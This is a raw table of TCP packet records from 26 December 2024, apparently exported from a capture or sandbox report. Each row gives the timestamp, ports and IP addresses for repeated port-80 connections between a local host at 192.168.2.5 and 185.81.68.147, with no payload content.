Dec 26, 2024 12:05:20.170938969 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.171694040 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.171799898 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.171828032 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.171865940 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.172591925 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.172657967 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.172700882 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.172785044 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.173542976 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.173594952 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.173655987 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.173743963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.174535036 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.174659014 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.174685001 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.174732924 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.175470114 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.175556898 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.176238060 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.176296949 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.176354885 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.176405907 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.176436901 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.176481962 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.177222013 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.177459955 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.177485943 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.177529097 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.178239107 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.178251028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.178280115 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.178291082 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.179064035 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.179106951 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.179131985 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.179274082 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.179980040 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.180090904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.180115938 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.180171967 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.181010962 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.181030989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.181066036 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.181066036 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.181912899 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.181926012 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.181974888 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.181974888 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.182868004 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.182881117 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.183554888 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.183554888 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.183749914 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.183762074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.183830976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.183830976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.184694052 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.184705973 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.185559988 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.185573101 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.185601950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.185601950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.185601950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.186547995 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.186737061 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.186748981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.187041044 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.187041044 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.187386990 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.187410116 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.187449932 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.187449932 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.188365936 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.188376904 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.188420057 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.188420057 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.189290047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.189301968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.189342976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.189342976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.190220118 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.190231085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.190263033 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.190520048 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.191250086 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.191262007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.191310883 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.191310883 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.192054987 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.192074060 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.192112923 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.192112923 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.193012953 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.193026066 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.193428993 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.193428993 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.194005013 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.194016933 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.194046974 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.194350004 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.194838047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.194849968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.195040941 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.195040941 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.199513912 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.203551054 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.357804060 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.357820988 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.357969999 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.358200073 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.358344078 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.358391047 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.358437061 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.359148979 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.359160900 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.359338999 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.360059977 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.360071898 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.360110998 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.360923052 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.361058950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.361082077 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.361186028 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.361933947 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.361944914 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.361998081 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.361998081 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.362790108 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.362870932 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.362896919 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.362945080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.363859892 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.363871098 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.363889933 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.363936901 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.364731073 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.364742041 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.364774942 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.364811897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.365734100 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.365751028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.365781069 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.365799904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.366564989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.366624117 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.366653919 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.366702080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.367748976 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.367760897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.367889881 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.368671894 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.368766069 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.368794918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.368839979 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.369560003 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.369649887 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.369676113 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.369786024 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.370584965 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.370646000 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.370690107 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.370737076 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.371480942 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.371617079 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.371623039 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.371670961 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.372231007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.372292042 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.372431993 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.372504950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.373095989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.373222113 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.373245955 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.373409033 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.373969078 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.373987913 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.374140024 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.374140024 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.374802113 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.374871969 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.374911070 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.375099897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.375746012 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.375802994 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.375806093 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.375838041 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.376617908 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.376684904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.376735926 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.376785994 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.377551079 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.377656937 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.377684116 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.377720118 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.378444910 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.378529072 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.378554106 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.378715992 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.379359961 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.379452944 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.379477978 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.379532099 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.380325079 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.380409956 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.380434036 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.380515099 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.381274939 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.381314039 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.381347895 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.381397963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.382256985 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.382293940 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.382333040 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.382333040 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.383105040 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.383188963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.383213997 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.383256912 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.384021044 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.384073973 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.384099007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.384140015 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.384967089 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.385092974 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.385119915 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.385174990 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.385900974 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.385938883 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.385958910 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.385981083 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.386831999 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.386894941 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.386955023 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.386955023 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.387675047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.387722015 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.387799978 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.387868881 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.707007885 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.707236052 CET	49730	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.826734066 CET	80	49730	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.826832056 CET	49730	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.826878071 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.827116013 CET	49730	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.827255964 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.946594954 CET	80	49730	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:21.300894022 CET	80	49723	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:21.301002979 CET	49723	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:21.301038027 CET	49723	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:21.301203012 CET	80	49723	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:21.301310062 CET	49723	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:21.420521021 CET	80	49723	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:21.513252020 CET	49731	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:21.633368015 CET	80	49731	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:21.633862972 CET	49731	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:21.650710106 CET	49731	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:21.770270109 CET	80	49731	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:22.404103041 CET	80	49730	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:22.404176950 CET	49730	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:22.404211044 CET	80	49730	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:22.404227018 CET	49730	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:22.404284954 CET	49730	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:22.517451048 CET	49733	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:22.523751020 CET	80	49730	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:22.636971951 CET	80	49733	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:22.637046099 CET	49733	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:22.637835026 CET	49733	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:22.757302046 CET	80	49733	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.348923922 CET	80	49731	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.348957062 CET	80	49731	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.348999977 CET	49731	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.349033117 CET	49731	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.349073887 CET	49731	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.422121048 CET	49733	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.466295958 CET	49739	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.468533993 CET	80	49731	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.532461882 CET	49740	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.585942984 CET	80	49739	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.586061954 CET	49739	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.586175919 CET	49739	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.652278900 CET	80	49740	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.652369976 CET	49740	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.652416945 CET	49740	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:23.705714941 CET	80	49739	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:23.772825003 CET	80	49740	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.213049889 CET	80	49740	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.213119984 CET	80	49740	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.213175058 CET	49740	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.213268995 CET	49740	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.213268995 CET	49740	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.330359936 CET	49747	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.332806110 CET	80	49740	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.336663008 CET	80	49739	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.336733103 CET	49739	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.336774111 CET	49739	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.336879969 CET	80	49739	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.336915016 CET	49739	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.450010061 CET	80	49747	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.450082064 CET	49747	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.454453945 CET	49747	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.456418991 CET	80	49739	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.456779957 CET	49748	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.573887110 CET	80	49747	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.576272011 CET	80	49748	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:25.576467037 CET	49748	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.576467037 CET	49748	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:25.695987940 CET	80	49748	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:26.991854906 CET	80	49747	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:26.991873980 CET	80	49747	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:26.991940022 CET	49747	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:26.999332905 CET	49747	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.113908052 CET	49749	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.119254112 CET	80	49747	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.234071016 CET	80	49749	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.234154940 CET	49749	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.239104986 CET	49749	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.262382984 CET	80	49748	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.262645960 CET	80	49748	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.262698889 CET	49748	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.262995958 CET	49748	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.359448910 CET	80	49749	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.382524967 CET	80	49748	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.389924049 CET	49751	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.509521008 CET	80	49751	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:27.511689901 CET	49751	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.512947083 CET	49751	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:27.632405043 CET	80	49751	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:28.803538084 CET	80	49749	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:28.803592920 CET	80	49749	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:28.803666115 CET	49749	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:28.803666115 CET	49749	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:28.833885908 CET	49749	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:28.953463078 CET	80	49749	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.161118031 CET	49757	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.193084002 CET	80	49751	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.193150043 CET	49751	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.202536106 CET	80	49751	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:29.202604055 CET	49751	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:29.205816031 CET	49751	80	192.168.2.5	185.81.68.147
